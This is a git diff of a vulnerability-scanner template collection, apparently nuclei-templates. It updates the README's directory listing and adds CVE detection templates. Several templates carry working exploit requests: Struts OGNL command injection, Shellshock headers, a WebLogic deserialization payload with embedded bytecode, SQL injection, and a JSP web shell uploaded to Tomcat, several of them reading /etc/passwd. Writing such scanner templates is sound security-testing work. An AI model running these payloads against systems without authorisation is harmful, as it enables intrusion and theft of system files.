+│   ├── tikiwiki-cms.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── traefik-dashboard.yaml
+│   ├── virtual-ema-detect.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   ├── webeditors.yaml
+│   ├── webmin-panel.yaml
+│   ├── workspace-one-uem.yaml
+│   ├── workspaceone-uem-airwatch-dashboard-detect.yaml
+│   ├── yarn-manager-exposure.yaml
+│   └── zipkin-exposure.yaml
+├── exposed-tokens
+│   ├── aws
+│   │   ├── amazon-mws-auth-token-value.yaml
+│   │   └── aws-access-key-value.yaml
+│   ├── generic
+│   │   ├── credentials-disclosure.yaml
+│   │   ├── general-tokens.yaml
+│   │   └── http-username-password.yaml
+│   ├── google
+│   │   ├── fcm-server-key.yaml
+│   │   └── google-api-key.yaml
+│   ├── mailchimp
+│   │   └── mailchimp-api-key.yaml
+│   └── slack
+│       └── slack-access-token.yaml
+├── exposures
+│   ├── apis
+│   │   ├── swagger-api.yaml
+│   │   ├── wadl-api.yaml
+│   │   └── wsdl-api.yaml
+│   ├── backups
+│   │   ├── sql-dump.yaml
+│   │   └── zip-backup-files.yaml
+│   ├── configs
+│   │   ├── airflow-configuration-exposure.yaml
+│   │   ├── alibaba-canal-info-leak.yaml
+│   │   ├── amazon-docker-config-disclosure.yaml
+│   │   ├── ansible-config-disclosure.yaml
+│   │   ├── composer-config.yaml
+│   │   ├── exposed-svn.yaml
+│   │   ├── git-config-nginxoffbyslash.yaml
+│   │   ├── git-config.yaml
+│   │   ├── gmail-api-client-secrets.yaml
+│   │   ├── htpasswd-detection.yaml
+│   │   ├── laravel-env.yaml
+│   │   ├── magento-config.yaml
+│   │   ├── opcache-status-exposure.yaml
+│   │   ├── owncloud-config.yaml
+│   │   ├── package-json.yaml
+│   │   ├── perl-status.yaml
+│   │   ├── phpinfo.yaml
+│   │   ├── rails-database-config.yaml
+│   │   ├── redmine-db-config.yaml
+│   │   ├── syfmony-profiler.yaml
+│   │   ├── symfony-database-config.yaml
+│   │   ├── symfony-profiler.yaml
+│   │   └── web-config.yaml
+│   ├── files
+│   │   ├── domcfg-page.yaml
+│   │   ├── drupal-install.yaml
+│   │   ├── ds_store.yaml
+│   │   ├── exposed-alps-spring.yaml
+│   │   ├── filezilla.yaml
+│   │   ├── golang-metrics.yaml
+│   │   ├── lazy-file.yaml
+│   │   ├── server-private-keys.yaml
+│   │   └── xprober-service.yaml
+│   └── logs
+│       ├── elmah-log-file.yaml
+│       ├── error-logs.yaml
+│       ├── rails-debug-mode.yaml
+│       ├── struts-debug-mode.yaml
+│       └── trace-axd-detect.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   └── iis-shortname.yaml
+├── helpers
+│   └── payloads
+│       ├── CVE-2020-5776.csv
+│       └── CVE-2020-6287.xml
+├── miscellaneous
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── old-copyright.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── trace-method.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   └── xml-schema-detect.yaml
+├── misconfiguration
+│   ├── aem-groovyconsole.yaml
+│   ├── airflow-api-exposure.yaml
+│   ├── apache-tomcat-snoop.yaml
+│   ├── apc-info.yaml
+│   ├── aspx-debug-mode.yaml
+│   ├── aws-redirect.yaml
+│   ├── cgi-test-page.yaml
+│   ├── django-debug-detect.yaml
+│   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-docker-api.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-service-now.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── hadoop-unauth.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jupyter-ipython-unauth.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── larvel-debug.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── manage-engine-ad-search.yaml
+│   ├── misconfigured-docker.yaml
+│   ├── nginx-status.yaml
+│   ├── php-errors.yaml
+│   ├── php-fpm-status.yaml
+│   ├── put-method-enabled.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura.yaml
+│   ├── server-status-localhost.yaml
+│   ├── shell-history.yaml
+│   ├── sidekiq-dashboard.yaml
+│   ├── springboot
+│   │   ├── springboot-configprops.yaml
+│   │   ├── springboot-env.yaml
+│   │   ├── springboot-heapdump.yaml
+│   │   ├── springboot-loggers.yaml
+│   │   ├── springboot-mappings.yaml
+│   │   └── springboot-trace.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-nacos-access.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
+├── takeovers
+│   └── subdomain-takeover.yaml
+├── technologies
+│   ├── apache-detect.yaml
+│   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
+│   ├── bigip-config-utility-detect.yaml
+│   ├── cacti-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── detect-springboot-actuator.yaml
+│   ├── favicon-detection.yaml
+│   ├── firebase-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
+│   ├── graylog-api-browser.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
-│   ├── jira-detect.yaml
+│   ├── jolokia.yaml
+│   ├── kibana-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
-│   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
+│   ├── lucee-detect.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
+│   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
+│   ├── selea-ip-camera.yaml
+│   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── terraform-detect.yaml
+│   ├── tomcat-detect.yaml
+│   ├── tor-socks-proxy.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
-├── tokens
-│   ├── amazon-mws-auth-token-value.yaml
-│   ├── aws-access-key-value.yaml
-│   ├── credentials-disclosure.yaml
-│   ├── google-api-key.yaml
-│   ├── http-username-password.yaml
-│   ├── mailchimp-api-key.yaml
-│   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── cached-aem-pages.yaml
-│   ├── couchdb-adminparty.yaml
-│   ├── crlf-injection.yaml
-│   ├── discourse-xss.yaml
-│   ├── eclipse-help-system-xss.yaml
-│   ├── git-config-nginxoffbyslash.yaml
-│   ├── ibm-infoprint-directory-traversal.yaml
-│   ├── microstrategy-ssrf.yaml
-│   ├── moodle-filter-jmol-lfi.yaml
-│   ├── moodle-filter-jmol-xss.yaml
-│   ├── nginx-module-vts-xss.yaml
-│   ├── open-redirect.yaml
-│   ├── oracle-ebs-bispgraph-file-access.yaml
-│   ├── pdf-signer-ssti-to-rce.yaml
-│   ├── rce-shellshock-user-agent.yaml
-│   ├── rce-via-java-deserialization.yaml
-│   ├── sick-beard-xss.yaml
-│   ├── springboot-actuators-jolokia-xxe.yaml
-│   ├── symfony-debugmode.yaml
-│   ├── tikiwiki-reflected-xss.yaml
-│   ├── tomcat-manager-pathnormalization.yaml
-│   ├── twig-php-ssti.yaml
-│   ├── wems-manager-xss.yaml
-│   ├── wordpress-duplicator-path-traversal.yaml
-│   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── generic
+│   │   ├── basic-cors.yaml
+│   │   ├── basic-xss-prober.yaml
+│   │   ├── crlf-injection.yaml
+│   │   ├── top-xss-params.yaml
+│   │   └── url-redirect.yaml
+│   ├── ibm
+│   │   ├── eclipse-help-system-xss.yaml
+│   │   └── ibm-infoprint-directory-traversal.yaml
+│   ├── jenkins
+│   │   ├── jenkins-asyncpeople.yaml
+│   │   ├── jenkins-stack-trace.yaml
+│   │   └── unauthenticated-jenkin-dashboard.yaml
+│   ├── jira
+│   │   ├── jira-service-desk-signup.yaml
+│   │   ├── jira-unauthenticated-adminprojects.yaml
+│   │   ├── jira-unauthenticated-dashboards.yaml
+│   │   ├── jira-unauthenticated-popular-filters.yaml
+│   │   ├── jira-unauthenticated-projectcategories.yaml
+│   │   ├── jira-unauthenticated-projects.yaml
+│   │   ├── jira-unauthenticated-resolutions.yaml
+│   │   └── jira-unauthenticated-user-picker.yaml
+│   ├── moodle
+│   │   ├── moodle-filter-jmol-lfi.yaml
+│   │   └── moodle-filter-jmol-xss.yaml
+│   ├── oracle
+│   │   └── oracle-ebs-bispgraph-file-access.yaml
+│   ├── other
+│   │   ├── CNVD-2020-62422.yaml
+│   │   ├── acme-xss.yaml
+│   │   ├── apache-flink-unauth-rce.yaml
+│   │   ├── aspnuke-openredirect.yaml
+│   │   ├── bullwark-momentum-lfi.yaml
+│   │   ├── cached-aem-pages.yaml
+│   │   ├── chamilo-lms-xss.yaml
+│   │   ├── couchdb-adminparty.yaml
+│   │   ├── discourse-xss.yaml
+│   │   ├── dlink-850L-info-leak.yaml
+│   │   ├── keycloak-xss.yaml
+│   │   ├── mcafee-epo-rce.yaml
+│   │   ├── microstrategy-ssrf.yaml
+│   │   ├── mida-eframework-xss.yaml
+│   │   ├── nginx-module-vts-xss.yaml
+│   │   ├── nuuo-nvrmini2-rce.yaml
+│   │   ├── pdf-signer-ssti-to-rce.yaml
+│   │   ├── rce-shellshock-user-agent.yaml
+│   │   ├── rce-via-java-deserialization.yaml
+│   │   ├── rconfig-rce.yaml
+│   │   ├── sangfor-edr-rce.yaml
+│   │   ├── sick-beard-xss.yaml
+│   │   ├── sonicwall-sslvpn-shellshock.yaml
+│   │   ├── symantec-messaging-gateway.yaml
+│   │   ├── thinkific-redirect.yaml
+│   │   ├── tikiwiki-reflected-xss.yaml
+│   │   ├── twig-php-ssti.yaml
+│   │   ├── vpms-auth-bypass.yaml
+│   │   ├── wems-manager-xss.yaml
+│   │   ├── wooyun-path-traversal.yaml
+│   │   ├── yarn-resourcemanager-rce.yaml
+│   │   └── zms-auth-bypass.yaml
+│   ├── rails
+│   │   └── rails6-xss.yaml
+│   ├── springboot
+│   │   ├── springboot-actuators-jolokia-xxe.yaml
+│   │   └── springboot-h2-db-rce.yaml
+│   ├── thinkphp
+│   │   ├── thinkphp-2-rce.yaml
+│   │   ├── thinkphp-5022-rce.yaml
+│   │   ├── thinkphp-5023-rce.yaml
+│   │   └── thinkphp-509-information-disclosure.yaml
+│   ├── vmware
+│   │   ├── vmware-vcenter-lfi-linux.yaml
+│   │   └── vmware-vcenter-lfi.yaml
+│   └── wordpress
+│       ├── easy-wp-smtp-listing.yaml
+│       ├── sassy-social-share.yaml
+│       ├── w3c-total-cache-ssrf.yaml
+│       ├── wordpress-accessible-wpconfig.yaml
+│       ├── wordpress-db-backup.yaml
+│       ├── wordpress-debug-log.yaml
+│       ├── wordpress-directory-listing.yaml
+│       ├── wordpress-emails-verification-for-woocommerce.yaml
+│       ├── wordpress-emergency-script.yaml
+│       ├── wordpress-installer-log.yaml
+│       ├── wordpress-social-metrics-tracker.yaml
+│       ├── wordpress-tmm-db-migrate.yaml
+│       ├── wordpress-user-enumeration.yaml
+│       ├── wordpress-wordfence-xss.yaml
+│       ├── wordpress-wpcourses-info-disclosure.yaml
+│       ├── wp-enabled-registration.yaml
+│       └── wp-xmlrpc.yaml
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
+    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── mida-eframework-workflow.yaml
+    ├── netsweeper-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── solarwinds-orion-workflow.yaml
+    ├── springboot-workflow.yaml
+    ├── thinkphp-workflow.yaml
    ├── vbulletin-workflow.yaml
+    ├── weblogic-workflow.yaml
    └── wordpress-workflow.yaml
 ```

 </details>

-13 directories, **263 templates**. 
+**55 directories, 524 files**.

-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.

------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -0,0 +1,21 @@
+id: CVE-2005-2428
+info:
+  name: CVE-2005-2428
+  author: CasperGN
+  severity: medium
+  tags: cve,cve2005
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body
@@ -0,0 +1,27 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+  tags: cve,cve2008,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,47 @@
+id: CVE-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation & @dwisiswant0
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  tags: cve,cve2013,rce
+
+requests:
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+      - type: word
+        words:
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
+        part: body
@@ -0,0 +1,32 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  tags: cve,cve2014,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -5,6 +5,7 @@ info:
  author: madrobot
  severity: medium
  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  tags: cve,cve2017,xss,oracle

 requests:
  - method: GET
@@ -0,0 +1,67 @@
+id: CVE-2017-10271
+
+info:
+  name: CVE-2017-10271
+  author: dr_set
+  severity: high
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  reference: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
+  tags: cve,cve2017,rce,oracle,weblogic
+
+  # Source:- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
+
+requests:
+  - raw:
+      - |
+          POST /wls-wsat/CoordinatorPortType HTTP/1.1
+          Host: {{Hostname}}
+          Accept: */*
+          Accept-Language: en
+          User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+          Connection: close
+          Content-Type: text/xml
+          Content-Length: 5178
+
+          <?xml version="1.0" encoding="utf-8"?>
+          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+              <soapenv:Header>
+                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                          <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
+                              <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
+                          </void>
+                          <void class="org.mozilla.classfile.DefiningClassLoader">
+                              <void method="defineClass">
+                                  <string>com.supeream.exploits.XmlExp</string>
+                                  <object idref="cls"></object>
+                                  <void method="newInstance">
+                                      <void method="say" id="proc">
+                                          <string>cat /etc/passwd</string>
+                                      </void>
+                                  </void>
+                              </void>
+                          </void>
+                          <void class="java.lang.Thread" method="currentThread">
+                              <void method="getCurrentWork">
+                                  <void method="getResponse">
+                                      <void method="getServletOutputStream">
+                                          <void method="writeStream">
+                                              <object idref="proc"></object>
+                                          </void>
+                                          <void method="flush"/>
+                                      </void>
+                                      <void method="getWriter"><void method="write"><string></string></void></void>
+                                  </void>
+                              </void>
+                          </void>
+                      </java>
+                  </work:WorkContext>
+              </soapenv:Header>
+              <soapenv:Body/>
+          </soapenv:Envelope>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  tags: cve,cve2017,sqli,subrion
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,50 @@
+id: CVE-2017-12615
+
+info:
+  name: Apache Tomcat RCE
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2017,apache,rce
+  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
+  description: |
+        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
+        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
+        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
+        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/poc.jsp/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        <%@ page import="java.util.*,java.io.*"%>
+        <%
+        if (request.getParameter("cmd") != null) {
+                out.println("Command: " + request.getParameter("cmd") + "<BR>");
+                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+                OutputStream os = p.getOutputStream();
+                InputStream in = p.getInputStream();
+                DataInputStream dis = new DataInputStream(in);
+                String disr = dis.readLine();
+                while ( disr != null ) {
+                        out.println(disr);
+                        disr = dis.readLine();
+                        }
+                }
+        %>
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CVE-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+  tags: cve,cve2017,sap,traversal
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -4,6 +4,7 @@ info:
  name: trixbox 2.8.0 - directory-traversal
  author: pikpikcu
  severity: medium
+  tags: cve,cve2017,trixbox,traversal

 # Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
 # https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
@@ -17,7 +18,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Content-Length: 160
@@ -33,7 +33,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
@@ -5,6 +5,7 @@ info:
  author: Random-Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
